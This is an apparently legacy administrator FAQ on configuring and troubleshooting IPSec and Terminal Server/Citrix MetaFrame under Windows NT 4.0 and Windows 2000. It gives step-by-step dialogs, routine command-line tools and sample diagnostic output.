Being able to view data sent over the network would allow data such as passwords to be viewed when connecting to some services like FTP which does not encrypt passwords sent over the network.

A solution was created in IPSec which is an industry standard based on end-to-end security which only the transmitting and receiving computers need know about any encryption.

Windows 2000 provides an implementation of IPSec and Group Policy settings in which to define your environments implementation of the IP add-on. This was developed by Microsoft and Cisco.

One of the great things with IPSec is it operates at layer 3 so any application of IP and upper layer protocols such as TCP, UDP will gain the advantage of IPSec without any modifications being needed to the applications.


Q. How do I enable IPSec on a machine?

A. IPSec in a Windows 2000 domain will normally be assigned using Group Policies however it can also be set on a computer basis.

  1. Right click on 'My Network Places' and select Properties
  2. Right click on 'Local Area Connection' and select Properties
  3. Select 'Internet Protocol (TCP/IP)' and click Properties
  4. Click the Advanced button
  5. Select the Options tab
  6. Select 'IP security' and click Properties
  7. Check the 'Use this IP security policy:' and select a policy to use:
    - Client (Respond Only) - It will only use IPSec if asked to by the other end of a session
    - Secure Server (Require Security) - All IP traffic requires security using Kerberos trust
    - Server (Require Security) - Use IP security if possible
  8. Click OK to all dialogs

To set IPSec on a machine you must be a member of the local Administrators group. Also if a domain IPSec policy has been defined then you can not override with a local policy, the options will be grayed out.


Q. How do I define IPSec policy for a group policy object?

A. IPSec in a normal environment will be defined using a Group Policy object configured on a domain or organizational unit.

  1. Start the Active Directory Users and Computers MMC snap-in (Start - Programs - Administrative Tools - Active Directory Users and Computers)
  2. Right click on the container that has the GPO and select Properties (e.g. the domain)
  3. Select the 'Group Policy' tab
  4. Select the Group Policy Object and select Edit
  5. Expand the Computer Configuration root
  6. Expand Windows Settings - Security Settings - IP Security Policies
  7. Right click on the policy you wish to assign and select assign from its context menu

    You can only have one assigned, if you assign more than one the previously assigned one will be unassigned
  8. Close the Group Policy editor

If you wanted to remove the policy you would right click on the assigned one and select un-assign from its context menu. Unlike other Group policy settings IPSec policies will remain even if the GPO is deleted so make sure you un-assign before deleting the GPO.

Force a GPO update:

C:\>secedit /refreshpolicy machine_policy /enforce
Group policy propagation from the domain has been initiated for this computer. It may take a few minutes for the propagation to complete and the new policy to take effect. Please check Application Log for errors, if any.


Q. How do I enable IPSec traffic through a firewall?

A. IPSec is generally invisible to routers since it operates at layer 3 of the OSI layer an dall IP and upper-layer protocols are encrypted.

There is however a requirement for firewalls/gateways in the data path as the following IP protocols and UDP ports must be forwarded and not blocked for IPSec to correctly work.

  • IP Protocol ID 50 - This is used for both inbound and outbound filters and is needed for Encapsulating Security Protocol (ESP) traffic to be forwarded
  • IP Protocol ID 51 - As above but used for Authentication Header (AH) traffic
  • UDP Port 500 - For both inbound and outbound filters and needs to allow ISAKMP (Internet Security Association and Key Management Protocol) traffic to be forwarded

L2TP (layer 2 tunneling protocol)/IPSec traffic looks the same as just IPSec traffic on the wire and you need to open IP Protocol ID 50 and UDP Port 500.


Q. How can I troubleshoot IPSec?

A. There are a number of tools available to help you troubleshoot your IPSec configuration which consist of

  • The IPSec snap-in for policy configuration
  • The event log
  • Group Policy snap-in to set IPSec policies for a GPO
  • The file oakley.log in the %systemroot%\debug directory

But we will concentrate on two other tools, netdiag.exe and IPSecmon.exe.

IPSecmon.exe is part of standard Windows 2000 but netdiag.exe is supplied as part of the support tools (<CD:>\Support\Tools) so you will need to install these.

IPSecmon.exe is the simplest tool and shows current security associations for the hosts communicated with over IP and if IPSec is being used (and if it is what TYPE of IPSec).

Clicking the Options button allows the update frequency to be changed. In the example I have one IPSec association in place using Triple DES.

The meaning of each field is as follows:

Active Associations | The number of active security associations with the computer being monitored.
Confidential Bytes Sent | The total number of bytes sent with Confidentiality, indicating that the packets were sent using the Encapsulating Security Payload (ESP) security protocol (decimal ID 50).
Confidential Bytes Received | The total number of bytes received with Confidentiality, indicating that the packets were sent using the Encapsulating Security Payload (ESP) security protocol (decimal ID 50).
Authenticated Bytes Sent | The total number of bytes sent with the authentication property enabled.
Authenticated Bytes Received | The total number of bytes received with the authentication property enabled.
Bad SPI Packets | The total number of packets for which the Security Parameters Index (SPI) was invalid. This probably indicates that the security association (SA) has expired or is no longer valid. The SPI is a unique identifying value in the SA that allows the receiving computer to select the SA under which a packet will be processed.
Packets Not Decrypted | The total number of packets the receiving IPSec driver was unable to decrypt. This may indicate that the security association (SA) has expired or is no longer valid, authentication did not succeed, or integrity checking did not succeed.
Packets Not Authenticated | The total number of packets that could not be successfully authenticated to the IPSec driver. This may indicate that the security association (SA) has expired or is no longer valid. The information in the security association is required for the IPSec driver to process the packets. It may also indicate that the two computers have incompatible authentication settings. Verify that the authentication method specified for each computer is the same.
Key Additions | The total number of keys that ISAKMP (the ISAKMP/Oakley mechanism) sent to the IPSec driver. This indicates that the ISAKMP Phase II security associations were successfully negotiated.
Oakley Main Modes | The total number of successful security associations established during ISAKMP Phase I. This indicates that the key information exchange was successful. Identities were authenticated and common keying material was established.
Oakley Quick Modes | The total number of successful security associations established during ISAKMP Phase II. This indicates that the negotiation for protection services during the data transfer was successful.
Soft Associations | The total number of ISAKMP Phase II negotiations that resulted in the computers agreeing only to a clear-text data transfer (no encryption or signing of the packets).
Authentication Failures | The total number of times authentication of the computer identities did not succeed. Verify that the authentication method settings for each computer are compatible. This may also indicate that the security association has expired.

Netdiag.exe is a more generic tool that is used to troubleshoot network connectivity problems but one of its options is to test IPSec as follows:

C:\>netdiag /test:ipsec /v /debug

Gathering IPX configuration information.
Opening \Device\NwlnkIpx failed
Querying status of the Netcard drivers... Passed
Testing Domain membership... Passed
Gathering NetBT configuration information.
Gathering IP Security information

Tests complete.

Computer Name: CYPHER
DNS Host Name: cypher.savilltech.com
DNS Domain Name: savilltech.com
System info : Windows 2000 Professional (Build 2195)
Processor : x86 Family 6 Model 5 Stepping 2, GenuineIntel
Hotfixes :
Installed? Name
Yes Q147222
Yes Q253562
Yes Q253934

Netcard queries test . . . . . . . : Passed

Information of Netcard drivers:

---------------------------------------------------------------------------
Description: Compaq NC3161 Fast Ethernet NIC
Device: \DEVICE\{9C65E63C-5242-45F8-9685-4A6649E92F35}

Media State: Connected

Device State: Connected
Connect Time: 16:34:16
Media Speed: 10 Mbps

Packets Sent: 25960
Bytes Sent (Optional): 0

Packets Received: 150278
Directed Pkts Recd (Optional): 32265
Bytes Received (Optional): 0
Directed Bytes Recd (Optional): 0

---------------------------------------------------------------------------
[PASS] - At least one netcard is in the 'Connected' state.

Per interface results:

Adapter : Local Area Connection
Adapter ID . . . . . . . . : {9C65E63C-5242-45F8-9685-4A6649E92F35}

Netcard queries test . . . : Passed

Global results:

Domain membership test . . . . . . : Passed
Machine is a . . . . . . . . . : Member Workstation
Netbios Domain name. . . . . . : SAVILLTECH
Dns domain name. . . . . . . . : savilltech.com
Dns forest name. . . . . . . . : savilltech.com
Domain Guid. . . . . . . . . . : {A225B0B5-8E82-4690-93F2-AA166BFDA773}
Domain Sid . . . . . . . . . . : S-1-5-21-1614895754-1767777339-1801674531
Logon User . . . . . . . . . . : Administrator
Logon Domain . . . . . . . . . : CYPHER

NetBT transports test. . . . . . . : Passed
List of NetBt transports currently configured:
NetBT_Tcpip_{9C65E63C-5242-45F8-9685-4A6649E92F35}
1 NetBt transport currently configured.

IP Security test . . . . . . . . . : Passed
Directory IPSec Policy Active: 'Server (Request Security)'

IP Security Verbose Test . . . . . : Failed
Access is denied.

The command completed successfully


Q. How can I manage/create IP Security policies?

A. Windows 2000 supplies the IP Security Policies MMC snap-in which can be used to modify and create IPSec policies which can then be assigned to computers and Group Policy Objects.

To open the snap-in perform the following:

  1. Start the MMC (Start - Run - MMC.EXE)
  2. From the console menu select 'Add/Remove Snap-in' (or press Ctrl+M)
  3. From the Standalone tab click Add
  4. Select 'IP Security Policy Management' snap-in and click Add
  5. Select either 'Local computer' or the domain policy and click Finish. If its for a domain select 'Manage domain policy for this computer's domain'. Click Finish
  6. Click Close to the dialog then click OK

Double clicking the root will display the 3 built-in options

  • Client (Respond Only)
  • Secure Server (Require Security)
  • Server (Request Security)

If you right click on the root you can create a new policy by selecting 'Create IP Security Policy'. If you right click on an existing policy and select Properties you can modify its settings.


Q. How can I change the authentication method used for IPSec by a policy?

A. By default IPSec will use Kerberos V5 protocol for its authentication method however there are other options:

  • Windows 2000 Kerberos V5 protocol (the default)
  • Use a certificate from a selected certificate authority
  • Use a predefined string (a preshared key)

To modify an existing IPSec policy start the IP Security Policy MMC snap-in as seen in the previous FAQ and perform the following:

  1. Right click on the policy and select Properties from the context menu
  2. Select one of the security rules you wish to change the authentication method for and click Edit
  3. Select the 'Authentication Methods' tab. The current authentication method will be shown, e.g. Kerberosby default. Select it and click Edit
  4. Select the preferred authentication method
  5. Click Apply then Close
  6. Close all dialogs

If the change was made on a domain Group Policy Object to force the change to take effect:

C:\> secedit /refreshpolicy machine_policy


Q. How can I install a certificate for use by IPSec?

A. If you wish to use certification for IP Sec then each machine has to have a client or server authentication certificate installed. These can be obtained from a number of Certificate Authorities (including Microsoft for testing and that is what we will do here) and installed as follows:

  1. Start Internet Explorer
  2. Move to http://sectestca2.rte.microsoft.com/certsrv
  3. Select 'Request a certificate' and click Next
  4. In the request type screen select Advanced request and click Next
  5. Under the advanced screen select 'Submit a certificate request to this CA using a form' and click Next
  6. Enter the details as follows
    - Name
    - Email
    - Select either 'Server Authentication Certificate' or 'Client Authentication Certificate' under Intended use
    - For Key Options set the CSP to 'Microsoft Base Cryptographic Provider v1.0'
    - Under Key Usage select 'Signature'
    - Key size of 1024
    - Check 'Use local machine store'
  7. Click Submit
  8. You will be informed to check back in a few days to receive your certificate


What is Terminal Server?

Q. What is Terminal Server?

A. Modern day PC users are used to having a system with large amounts of memory, disk and CPU power to run their applications. This is very different to UNIX and VMS environments where servers have all the memory, disks and CPU and users have "dumb" terminals which just send keystrokes to the server which in turn sends back screen updates.

There are a number of advantages with the UNIX/VMS approach. Most desktop computers are idle for most of the time with the CPU only 10% busy normally and a significant amount of memory spare, this is a waste of resources. A central server approach distributes resource's to sessions as needed, minimizing waste and ensuring resources are available when needed.

Installing applications and maintaining them on each desktop is very time consuming. A central server based install simplifies this significantly and lowers the Total Cost of Ownership (TCO).

Windows NT Terminal Server and Windows 2000 address this with client software for Windows 9x/NT and Windows for Workgroups machines that allow a window to be created which allows all processing and execution to be carried out on the server and the only task the local machine does is to pass back keyboard and mouse actions. The Terminal Server does all the computation and storage and passes back screen updates to the client.

Example
Here you can see an example Terminal Server session in its own windows, with its own Start menu and taskbar. All applications in this window are being run on the terminal server. The information shown in Explorer is the Servers drives, not the local machine.

Obviously Windows NT/95 are operating systems of their own and it may seem pointless running terminal server client on these machines however it could be used for application management, install Office 97 on the Terminal Server and all clients use Office via the Terminal Server connection. Imagine running Office 97 on a Windows for Workgroups machine!

Communication is via RDP (Remote Desktop Protocol) which was designed by Microsoft.

Windows Terminal Server is based on Citrix's WinFrame product and Citrix provide a bolt-on, MetaFrame, which adds functionality to Terminal Server including support for DOS, OS/2, Unix, Java and much more. http://www.citrix.com


Q. How do I install Windows NT 4.0 Terminal Server Edition?

A. The installation of Windows NT Terminal Server edition is the same as a normal Windows NT Server installation except during installation you will additional be asked:

  • The number of Terminal Server Desktops - This is the number of Windows Terminal Server clients that will be connected to the Terminal Server at any one time.
  • Internet Explorer 4.0 can be automatically installed at installation time (instead of IE 2.0)

Once installation is complete if IE 4.0 was selected it will be installed and configured and an additional reboot performed.

Due to the method applications need to be installed on Terminal Server (for use with clients) an upgrade of a Windows NT 4.0 server is not supported or advised.

It is also not advised to run backoffice applications on a Terminal Server due to the massive amounts of resources Terminal Server uses for its clients and as such Terminal Server is not part of the Backoffice suite of applications.

You will also notice that Terminal Server is supplied with Service Pack 3 installed, do NOT install a normal version of a service pack on Terminal Server, special service packs will be made available for Terminal Server installations.

Once install is complete you will notice 4 new tools under the Administrative Tools branch of the Programs Start menu

  • Terminal Server Administration
  • Terminal Server Client Creator
  • Terminal Server Connection Configuration
  • Terminal Server License Manager

These will be looked it in detail later in the Terminal Server section. You will also notice User Manager is modified to include a new 'Config' button for each user which allows Terminal Server settings to be configured.


Q. How do I enable Terminal Server under Windows 2000?

A. Windows 2000 has Terminal Server components built into the operating system and they can be installed at installation time or at a later time. To install the components perform the following:

  1. Start Control Panel (Start - Settings - Control Panel)
  2. Select Add/Remove Programs
  3. Select Configure Windows in the left hand pane
  4. Click the Components button
  5. Click Next at the wizard
  6. Check the "Terminal Services" and "Terminal Services Licencing" components. Click Next
  7. Warnings may be given about installed components, click Next
  8. You can select to install printer drivers. Click Next
  9. Files will be copied to the server
  10. Click Finish
  11. The machine will reboot

Once reboot is complete 4 new programs will be under the Administrative Tools branch of the Start menu

  • Terminal Server Administration
  • Terminal Server Client Creator
  • Terminal Server Connection Configuration
  • Terminal Server License Manager
    •


Q. How do I install Windows NT/9x based clients?

Q. How do I install Windows NT/9x based Terminal Server clients?

A. Terminal Server has built in support for the following clients

  • Windows 95
  • Windows 98
  • Windows NT
  • Windows 2000
  • Windows for Workgroups

The first 4 all share a common piece of software and terminal server (both NT 4.0 and Windows 2000) ships with a utility to create it on a single floppy disk:

  1. Logon to the Terminal Server machine
  2. Select 'Terminal Server Client Creator' from the Administrative tools branch (Start - Programs - Administrative Tools - Terminal Server Client Creator)
  3. You will be shown a dialog box giving options for
    - Terminal Server Client for WFW
    - Terminal Server Client for Windows 95/NT Intel
    - Terminal Server Client for Windows 95/NT Alpha (I never knew 95 run on Alpha! ;-) ).
    Client Create
  4. Select the client (Terminal Server Client for Windows 95/NT Intel) and the destination drive (you can only select a floppy) and click OK
  5. You will be asked to insert a disk. Click OK
  6. The required files will then be copied to the disk
  7. Click OK once complete
  8. Close the dialog box

All the above does is copy the contents of %systemroot%\system32\clients\tsclient\win32\disks\disk1 to disk so you could directly copy or share this directory. There is also a net subdirectory of tsclient which also contains the clients with each client in its own subdirectory without the disk1 etc. folders, so you could share out this folder to allow access to all client installations. Sharing the net folder would be the prefered method.

To install the client perform the following:

  1. Either insert the disk created above or connect to a share containing its files
  2. Execute Setup.exe
  3. The Terminal Server client execution program will start and click Continue to the license agreement
  4. Enter username and company. Click OK. Click OK again to the confirmation
  5. Click 'I agree' to the license agreement
  6. Click the large setup button (you can change the installation folder at this point)
    Client Install
  7. You will be asked how you want the application installed, either for all users to have the same initial settings or just for you. Click Yes
  8. Files will be copied and a success message shown. Click OK.

A new folder "Terminal Server Client" has been added with 2 utilities and an uninstall option.


Q. How do I install Windows for Workgroups based Terminal Server clients?

A. Terminal Server has built in support for Windows for Workgroups but they must have TCP/IP 32b installed (this can be downloaded from Microsoft at http://support.microsoft.com/support/kb/articles/q111/6/82.asp). I found this out the hard way! TCP/IP can be installed using the Network setup icon in WFW. You may want to run MEMMAKER after installation of TCP/IP to "tidy" your memory, I had to, just choose Express.

To create floppy disks for Windows for Workgroups TS client installation perform the following:

  1. Logon to the Terminal Server machine
  2. Select 'Terminal Server Client Creator' from the Administrative tools branch (Start - Programs - Administrative Tools - Terminal Server Client Creator)
  3. You will be shown a dialog box giving options for
    - Terminal Server Client for WFW
    - Terminal Server Client for Windows 95/NT Intel
    - Terminal Server Client for Windows 95/NT Alpha
    Client Create
  4. Select the client (Terminal Server Client for WFW) and the destination drive (you can only select a floppy) and click OK
  5. You will be asked to insert a number of disks. Click OK
  6. The required files will then be copied to the disk
  7. Click OK once complete
  8. Close the dialog box

All the above does is copy the contents of %systemroot%\system32\clients\tsclient\win32\disks\disk1 to disk so you could directly copy or share this directory. There is also a net subdirectory of tsclient which also contains the clients with each client in its own subdirectory without the disk1 etc. folders, so you could share out this folder to allow access to all client installations. Sharing the net folder would be the prefered method.

To install the client perform the following:

  1. Either insert the disk created above or connect to a share containing its files
  2. Execute Setup.exe
  3. The Terminal Server client execution program will start. Click OK to the dialog.
  4. Enter username and company. Click OK. Click OK again to the confirmation
  5. Click 'I agree' to the license agreement
  6. Click the large setup button (you can change the installation folder at this point)
  7. You will be asked how you want the application installed, either for all users to have the same initial settings or just for you. Click Yes
  8. Files will be copied and a success message shown. Click OK.

A new program group "Terminal Server Client" has been added with 2 utilities and an uninstall option.

WFW
Windows 2000 3D Pinball on Windows for Workgroups 3.11, impressive :-)


Q. How do I connect to a Terminal Server from 9x/NT/2000?

Q. How do I connect to a Terminal Server from WFW/9x/NT/2000?

A. The first action is to install the client which is explained in 'Q. How do I install Windows NT/9x based clients?'.

Once the client is installed there are two methods to connect to a terminal server. The first is a very manual method and while simple may not be ideal for many normal users.

  1. Select "Terminal Server Client" from the "Terminal Server Client" programs folder
  2. From the dialog select the server (or enter a different server name or IP address) and select a screen resolution. (The WFW version is slightly different in look but functionally the same)
    Connecting
  3. Click Connect
  4. You will then have a window come up with a logon screen. Logon and you are now running a terminal server session!

You should be aware that pressing Ctrl-Alt-Del will bring up the Local security menu and not the remote. To bring up the remote security menu select "Windows NT Security" from the Start menu. You will notice you don't have a shutdown button (unless you are an Administrator) as this would shutdown the terminal server machine.

An alternative is to setup a shortcut to connections and this is accomplished using the "Client Connection Manager".

  1. Start Client Connection Manager (CCM) by selecting it from the Terminal Server Client programs branch of the start menu
  2. From the File menu select 'New Connection'
  3. Enter a description and the servername or IP address of the terminal server. Click Next
  4. You may select Automatic logon by checking the Autologon box and entering username, password and domain details. Click Next
  5. Select settings such as desktop size and speed settings. Click Next
  6. The next screen gives the option of either running a full desktop or a specific application. If you select a program you must enter the executables name and location and a working directory. Click Next
  7. You should now select an icon for the connection by clicking the 'Change Icon' button and the program group to house the shortcut (Terminal Server Client by default). Click Next
  8. A summary will be displayed, click Finish.
  9. A new icon will now be displayed in CCM as shown below.

You may create a shortcut to this on the desktop by right clicking on it and selecting 'Create shortcut on desktop'.

This shortcut actually calls the normal Terminal Server Client with a parameter of the configuration name, e.g.

"C:\Program Files\Terminal Server Client\MSTSC.EXE" "TS 1 Connect"

This may be useful for you to build into batch menus etc. The actual connection details are stored in the registry under the 'HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client' key. You could therefore dump out this registry key and import into other machines automating the shortcut installations. The only item not read in is the password if autologon was selected.

To dump out to file just select the registry key in REGEDIT.EXE, e.g. "TS 1 Connect", and select "Export Registry File" from the File menu. Enter a file name and click OK. You can then copy this .reg file to any machine and execute using

C:\> regedit /s <file>.reg


Q. How do I close a Terminal Server connection?

A. If you click Start from a Terminal Server session you will see two options if connected to a Windows NT 4.0 box

  • Disconnect
  • Logoff

Terminal Server disconnect

There is a major difference between the two.

If you select Logoff your session is logged off and your connection to the terminal server is closed and the connection slot you were using may be used by someone else.

If you select Disconnect you are not logged off, rather the session window closed but if you restart and logon as the same person it will remember all applications and their state. This may seem ideal but remember a Terminal Server has a finite number of allowed connections and a disconnected session constantly uses a connection stopping someone else from connecting.

A disconnected session remains active until one of the following:

  • You log back on as the same user then logoff
  • The idle timeout is reached and the session automatically logged off
  • An administrator forces your logoff using the Terminal Server Administration tool

If you connect to a Windows 2000 box you will see Disconnect and Shutdown, selecting Shutdown gives the option of logging off.


Q. How do I install applications for use with Terminal Server?

A. Installing applications on a terminal server has to be done in a special way to ensure it is usable by all users of the terminal server.

There are two modes in terminal server, Execute and Install. By default all users are logged on in Execute mode and this means they can run programs etc. When you want to install an Application for use by everyone the Administrator should change to Install mode.

The best way to install software is to use the Add/Remove programs control panel applet as this will automatically set the mode to Install during the installation and then back to Execute at the end. Alternatively you can manually change your mode to install by typing

C:\> change user /install

To change back to execute use

C:\> change user /execute

And to check you current mode use

C:\> change user /query

In this example we will use Add/Remove to install Winzip on a terminal server.

  1. Start the Add/Remove programs control panel applet (Start - Settings - Control Panel - Add/Remove Programs)
  2. Select the 'Install/Uninstall' tab and click 'Install'
  3. You will be told to insert the setup media, click Next
  4. The installation wizard will look for setup.exe on the CD or disk, it won't find it, select an alternate by clicking the 'Browse' button, and select the winzip.exe file. Click Next
  5. You will now be given the option to change your mode so all users can use the application. Select 'All users begin with common application settings.' and click Next
    User mode
  6. The install of the application will begin and you will notice your mode has been changed to Install if you typed 'change user /query'.
  7. Proceed to install the application as normal
  8. Once setup is complete click Next to the install dialog then Finish

All terminal server users will now have Winzip. An alternative would be to manually set the mode to install, install the software and set back to execute.


Q. I can't install Office 97 SR2 on Terminal Server.

A. If when you try and install Office 97 SR2 on a terminal server via the Add/Remove Programs control panel applet you get the error:

"Setup cannot register MSJET35.dll in the system registry because an older version is in use. Close all applications and try again"

this is because the Terminal Server License Service is using the file. To workaround this stop the licensing service

C:\> net stop "terminal server licensing"

Click Retry on the error dialog and install will continue.

Retry the MSJET35.DLL

Once installation is complete restart the service

C:\> net start "terminal server licensing"

Office 97 has now been installed for use by all your terminal server clients.


Q. How do I install Citrix Metaframe?

A. Citrix Metaframe is an add-on to Windows NT Terminal Server and although there is currently no version for Windows 2000 it is under development. To install perform the following:

  1. Logon as an Administrator on the Terminal Server box
  2. Insert the Citrix Metaframe CD and click the "MetaFrame Setup" button (or run setup.exe from the I386 directory on the CD-ROM)
  3. Click Next to the install wizard dialog
  4. Click Next to the copy files dialog
  5. The license dialog will then be shown. Click the "Add License Packs" button to add the basic MetaFrame license. Enter the serial number on the back of the CD and click OK. Click No to install other license packs. Click Next to the main license dialog
  6. Click Next to the ICA connections protocol dialog (these are the protocols that clients may connect over).
  7. You may select to install TAPI modems for connection, to configure click Add Modems. A list of installed modems will be shown, select the modem and click Close. Click Next to the main TAPI dialog
  8. Next the ability to access local drives on the client are displayed. By default the servers drives will be the same on the client, e.g. C: is C:, and the client drives will be visible starting from V: working downwards, e.g. local C: would be V:, local D: would be U:. Click Next
  9. You have the option to remap server drives so that clients would see their local drives as C:, D: etc and the servers drives will be changed to M:, N: etc. I would advise against this unless you are very confident of what you are doing. Click Next.
    Remap the server drives
  10. Finally the system will reboot. Click Finish

Once the machine has rebooted upon logon a new toolbar is added to your desktop which allows control of the MetaFrame environment.


Q. How do I create Citrix Metaframe client media?

A. MetaFrame ships with a utility, ICA Client Creator, which is in the MetaFrame Tools program group. It can also be started by clicking the client creator button on the MetaFrame toolbar, [image].

Once started the utility will check for the CD-ROM and give options to create a variety of clients:

Select the client to install, the disk drive and whether to format the disks.

Alternativly all the clients are copied to the %systemroot%\system32\clients\ica directory, e.g. DOS is wfcdos, so share the directory and allow clients to map directory and install.


Q. How do I install the ICA DOS client?

A. You will first need to create the DOS ICA client installation disk as explained in 'Q. How do I create Citrix Metaframe client media?'.

The DOS machine will also need the ability to connect to the network as explained in 'Q. How can a DOS machine connect to an NT domain?'.

To install the client perform the following:

  1. At the DOS machine insert the created install disk (or map to a network share containing the wfcdos files)
  2. Run install.exe
  3. Select the installation target, C:\wfclient by default. Press Enter
  4. The client files will then be coped to the target directory

To run the client simply change to the wfclient directory (or add to the machines path variable) and run WFCLIENT.EXE.

When you run for the first time you will need to create a new entry, click Yes to create a new entry.

Enter connection details such as connection medium (Microsoft TCP/IP), server name/address.

You should then select the Entry and select Connect.


Q. How do install Backup Exec 7.X on TSE?

A. Be sure to disable Terminal Server Licensing before you start the installation.

  1. Go to Start -> Settings -> Control Panel
  2. Double-click on Services
  3. Mark Terminal Server Licensing and press stop.
  4. Install Backup Exec via Add/Remove programs
  5. Go back to Services and Start Terminal Server Licensing


Q. Can I use normal Service Packs on Windows NT Terminal Server Edition?

A. No, Terminal Server has modifications to its components meaning normal Service Pack's cannot be applied. Terminal Server Edition has Service Pack 3 built in and Service Pack 4 for terminal server was released April 1999.

In Windows 2000 this will not be the case as Terminal Server is just a component of the normal product.


Q. Can I use normal Hot fixes on Windows NT Terminal Server Edition?

A. It depends. Some components of Windows NT Terminal Server Edition are specially modified and some are not. You will need to check if the file you are replacing is specially modified for Terminal Server Edition:

Enter the command:

C:\> filever /v <filename>

-r--- W32i DRV ENU 4.0.1381.32772 shp 25,840 06-08-1998 atapi.sys
FileDescription ATAPI IDE Miniport Driver
OriginalFilenam atapi.sys
ProductName Microsoft(R) Windows NT(TM) Operating System
ProductVersion 4.00

VS_FIXEDFILEINFO:
Signature: feef04bd
FileVer: 00040000:05658004 (4.0:1381.32772)
ProdVer: 00040000:05658004 (4.0:1381.32772)

We are interested in the FileVer property. If the final number is greater than 32767 then the file was built for Terminal Server, you should therefore only apply a hotfix that is specially released for Terminal Server.

The actually bit value we are interested in is the 0x8000 bit. If set then it is modified for Terminal Server. Below is a file that is not specially modified for Terminal Server

Signature: feef04bd
FileVer: 00040000:05650004 (4.0:1381.4)
ProdVer: 00040000:05650004 (4.0:1381.4)

Special Terminal Server fixes can be found under ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40TSE

In Windows 2000 this will not be the case as Terminal Server is just a component of the normal product.


Q. I've reached 40 - 45 users and additional users can't log onto Terminal Server?

A. If you have more than 40 users you should increase the amount of PTEs (page table entries) on the system.

Microsoft says that you should increase this if you'll have more than 45 connections. But I've seen that this can be a problem with less users as well. TSE Memory Manager allocates 10,000 PTEs as default. TSE uses PTEs to map the location of physical memory pages. Each user who logs on to TSE requires a minimum of 200 PTEs.

If the PTE pool is exhausted, additional users will not be able to log on. The maximum allowed limit of PTEs are 50,000.

To change the number of PTE's on the system see Q. How do I increase the number of Page Table Entries on my system?


Q. How do I configure a CE based Terminal Server client?

A. One option for Terminal Server clients is to use a "thin" client which has no disks but an embedded operating system and one such device is a Windows CE based client. The advantage is the machine has zero maintenance apart from the initial configuration. The instructions below are for the Viewpoint series from http://www.boundless.com (many thanks for letting me have one to use).

When you first turn on the machine it will ask for certain details:

  1. The setup wizard will first display the product ID. Click Next
  2. Click Accept to the license agreement.
  3. You will be asked if you want to use DHCP or manual IP configuration. Click Next.
  4. If you selected manual IP configuration you will need to enter an IP address, subnet mask and a gateway. Click Next
  5. Enter DNS and WINS details. Click Next
  6. Select the Desktop resolution and click Next
  7. Click Finsh to complete

You will have no start bar, just a dialog asking for a connection to be made. You should configure sessions as you would a normal Terminal Server client by selecting the Configure tab.


Q. I am having troubles getting the ICA DOS client to work.

A. The ICA DOS client uses a LOT of memory and to get working I had to remove nearly every other process from memory, thankfully Citrix have now released a new 32 bit DOS client which can access more of your machines memory eliminating the memory problems.

It can be download from http://download.citrix.com and its usage is exactly the same as the old 16bit DOS client.


Q. Where can I download updates for MetaFrame?

A. These can be downloaded from http://www.citrix.com/support/ftpserve.htm.


Q. What Service Packs are available for Windows NT Terminal Server Edition?

A. Windows NT Terminal Server Edition is supplied with Service Pack 3 built in. The following Service Packs are available for Windows NT 4.0 Terminal Server Edition.

Service Pack 5 - http://www.microsoft.com/ntserver/terminalserver/downloads/recommended/tsesp5/
Service Pack 4 - http://www.microsoft.com/ntserver/terminalserver/downloads/recommended/tsesp4/

Special hotfixes (when available) can be downloaded from ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40TSE/hotfixes-postSP3


Q. How do I send a message to a Terminal Server client?

A. Terminal Server supports two methods of communicating with a Terminal Server client process.

The first is via the GUI:

  1. Start the Terminal Services Manager MMC snap-in (Start - Programs - Administrative Tools - Terminal Services Manager)
  2. Expand the domain - Server and a list of connected processes will be shown
  3. Right click on the process and select 'Send Message' from the context menu
    Message Send
  4. You can then enter a title for the message and a message text. Click OK

To send from the command line perform use the MSG command,

msg <user> [/time:<seconds>] [/w] [/server:<server name>] <message>

For example:

C:\> msg savillj /w Get off that computer John!

The /w switch will force the administrators session to pause until the user has clicked OK to the message.


Q. How do I locate machines that are running Terminal Server?

A. Starting the Terminal Services Manager MMC snap-in (Start - Programs - Administrative Tools - Terminal Services Manager) will list machines running the Terminal Server services by expanding the domain. It can also be done with the following command:

qappsrv [/address] [/domain:<domain name>] [/continue]

For example

C:\> qappsrv /address
Known Terminal servers Network Node Address
---------------------- ------- ------------
DEMO                          [ A024E34948]*

The /domain is optional unless you wish to query a domain other than the machines membership and /continue does not pause after each screen of information.


Q. How can I check if a user is logged on via Terminal Server?

A. Starting the Terminal Services Manager MMC snap-in (Start - Programs - Administrative Tools - Terminal Services Manager) will list user processes by machine but this may be cumbersome if a large number of terminal servers are running. It can also be done with the following command:

query user [<user name>] [/server:<server name>]

For example

C:\> query user
USERNAME   SESSIONNAME     ID  STATE   IDLE TIME   LOGON TIME
>administrator  console    0   Active          . 09/05/99 18:19
 savillj        rdp-tcp#1  1   Active         10 09/05/99 14:23

The above lists all users.

You can also check what the user is running with the QPROCESS command:

C:\> qprocess <user name>

To check who is running a certain program (e.g. winword.exe)

C:\> qprocess <process>

will list all users running the passed program.


Q. Mouse movement is jerky in Terminal Server sessions.

A. By default the terminal server client sends updates to the terminal server every 100 milliseconds however you can change this as follows:

  1. Logon to the client
  2. Start the registry editor (regedit.exe)
  3. Move to HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client
  4. From the Edit menu select New - DWORD value
  5. Enter a name of 'Min Send Interval' (don't type the quotes) and press Enter
  6. Double click the new value and set to the number of milliseconds between each update. The lower you set it the more bandwidth will be used. Click OK
  7. Close the registry editor
  8. Restart the terminal server client software


Q. Does MetaFrame run on Windows 2000?

A. The normal MetaFrame 1.8 does not, however a 1.8a will and a beta can currently be purchased from the Citrix web site, http://www.citrix.com/.

Installation is basically the same as 1.8.


Q. How can I switch a session between window and full screen?

A. Normally terminal server client sessions are in a window however you can switch to full screen mode so you can't tell you are in a session. To toggle between window and full screen mode press Ctrl+Alt+Break.

You can always tell a terminal server session as the Start menu text says Windows 2000 Terminal instead of Windows 2000 Professional or Server.


Q. How can I remote control another terminal server session in Windows 2000?

A. Users and Administrators may be familiar with the software which allows an Administrator to take control of a users desktop in order to, for example, install software or fix a problem. The Citrix Metaframe add-on for 4.0 TSE enabled Administrators to take control or view users sessions without the need for third party software.

The new Windows 2000 terminal server component now allows session shadowing without the need for the MetaFrame add-on, but now its called 'remote control'.

A condition is that console controlling must have a resolution equal or greater than that of the session that will be shadowed.

